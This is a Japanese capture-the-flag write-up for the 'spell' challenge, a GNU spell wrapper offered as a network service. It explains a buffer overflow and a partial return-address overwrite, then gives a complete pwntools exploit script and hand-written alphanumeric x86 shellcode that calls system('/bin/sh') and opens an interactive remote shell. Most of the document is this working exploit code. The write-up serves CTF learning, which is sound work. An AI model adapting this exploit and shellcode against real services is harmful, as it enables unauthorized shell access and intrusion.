初めての手書きshellcodeだった。alphanumericなshellcodeはctfをやる目的のひとつだったので書けてよかった。

でも、後はshellcodeだけ、というところまで持っていく部分の能力はなかったので、そこは他の人のwriteupを見ました。

spell

$ ./saas-stripped
       ----                        /   /
      /                           /   /
     |        ____     ____      /   /
      \      /    \   /    \    /   /
       \    /_____/  /_____/   /   /
       /   /        /         /   /
  ____/   /         \_____   /   /   as a service

GNU Spell 1.1
Copyright (C) 1996,2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

spell: Ispell version 3.3.02
Input your paragraph: foo is a bar of baz
Misspelled:
foo
baz
Input your paragraph: is a of      
Perfect!

GNU spell as a service。spellispellのwrapper。alphanumericな1行を受け取りそれをspellに渡すloopがあり、spellから何も文句が出てこなければ終了する。

攻撃

spellからの応答にbofがある。

使える文字がalphanumericのみで末尾には改行があるので、mainへの戻り先アドレスを半分書き換えてretがあるアドレスへ向ける。これを踏むのはspellを通過する文字列を提出した直後。後ろには引数であったbufferのアドレスが控えているので、bufferに飛ぶことになる。

DEPはないのでshellcodeを置けばよい。しかしalphanumericでかつspellを通過するものでないといけないので、頑張って書く。 単独の文字はspellを通過し数字は空白文字と同じ動きをするので、各命令を40(xor al, 0x30)で区切れば、spellの通過という条件はだいたいなんとかなる。 普通のx86 alphanumeric shellcodeの書きかたはももテクが詳しいのでその通りにやればよい。

参考

実装

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host')
parser.add_argument('port', type=int)
args = parser.parse_args()
context.log_level = 'debug'

p = remote(args.host, args.port)
# p = process('./saas-stripped')

p.recvuntil('Input your paragraph: ')
ret = 0x80a485a # '\x08\nHZ'
p.sendline('A' * 4079 + 'ZH')

p.recvuntil('Input your paragraph: ')
shellcode = 'P40Y40P40P40P40P40h0000X404050000P40Q40a40V40Z40J40h R80X55948P40T40h9048Y40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40A40Q40X59l00P40T40Y01A01V40T40Y4001Y40Q40I40I40I40I40I40I40I40I40I40I40I40I40Q40X40Y400DO0T40T40X40Y40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' # nasm a.asm -o /dev/stdout
p.sendline(shellcode)

time.sleep(0.5)
p.sendline('ls')
p.interactive()
bits 32

_start:
    push eax
    xor al, 0x30
    pop ecx
    xor al, 0x30 ; mov ecx, eax

    push eax ; eax
    xor al, 0x30
    push eax ; ecx
    xor al, 0x30
    push eax ; ebx
    xor al, 0x30
    push eax ; ebp
    xor al, 0x30

    push 0x30303030
    pop eax
    xor al, 0x30
    xor al, 0x30
    xor eax, 0x30303030 ; xor eax, eax

    push eax ; esi, 0x00000000
    xor al, 0x30
    push ecx ; edi, buffer addr
    xor al, 0x30
    popad ; set registers
    xor al, 0x30

    push esi
    xor al, 0x30
    pop edx
    xor al, 0x30
    dec edx
    xor al, 0x30 ; mov edx, 0xffffffff

    ; 0x80c6b15 "/bin/sh"
    ; $ strings -tx saas-stripped | grep /bin/sh #=>  7eb15 /bin/sh
    ; >>> hex(0x30385220 ^ 0x38343935) #=> '0x80c6b15'
    push 0x30385220
    pop eax
    xor eax, 0x38343935
    push eax
    xor al, 0x30

    push esp
    xor al, 0x30

    ; 0x804a390 <system>
    ; >>> hex(0x30306c39 ^ 0xffff ^ (0x38343039 + 0x1d)) #=> '0x804a390'
    push 0x38343039
    pop ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    inc ecx
    xor al, 0x30
    push ecx
    xor al, 0x30
    pop eax
    xor eax, 0x30306c39
    push eax
    xor al, 0x30
    push esp
    xor al, 0x30
    pop ecx
    xor [ecx], dh
    inc ecx
    xor [ecx], dh

    ; c3 ret
    ; >>> hex(0xf3 ^ 0x30) #= '0xc3'
    push esi
    xor al, 0x30
    push esp
    xor al, 0x30
    pop ecx
    xor al, 0x30
    xor [ecx], dh
    pop ecx ; mov ecx, 0xff
    xor al, 0x30
    push ecx ; dup
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx
    xor al, 0x30
    dec ecx ; mov ecx, 0xf3
    xor al, 0x30
    push ecx
    xor al, 0x30
    pop eax ; mov eax, ecx
    xor al, 0x30
    pop ecx ; mov ecx, 0xff
    xor al, 0x30
    xor [edi+2*ecx+0x30], al ; DO is a valid word

    push esp
    xor al, 0x30
    push esp
    xor al, 0x30
    pop eax ; set dummy
    xor al, 0x30
    pop ecx
    xor al, 0x30

    ; 0x30 xor [eax], dh
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30 ; one of them will be 0xc3 ret
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
    db 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30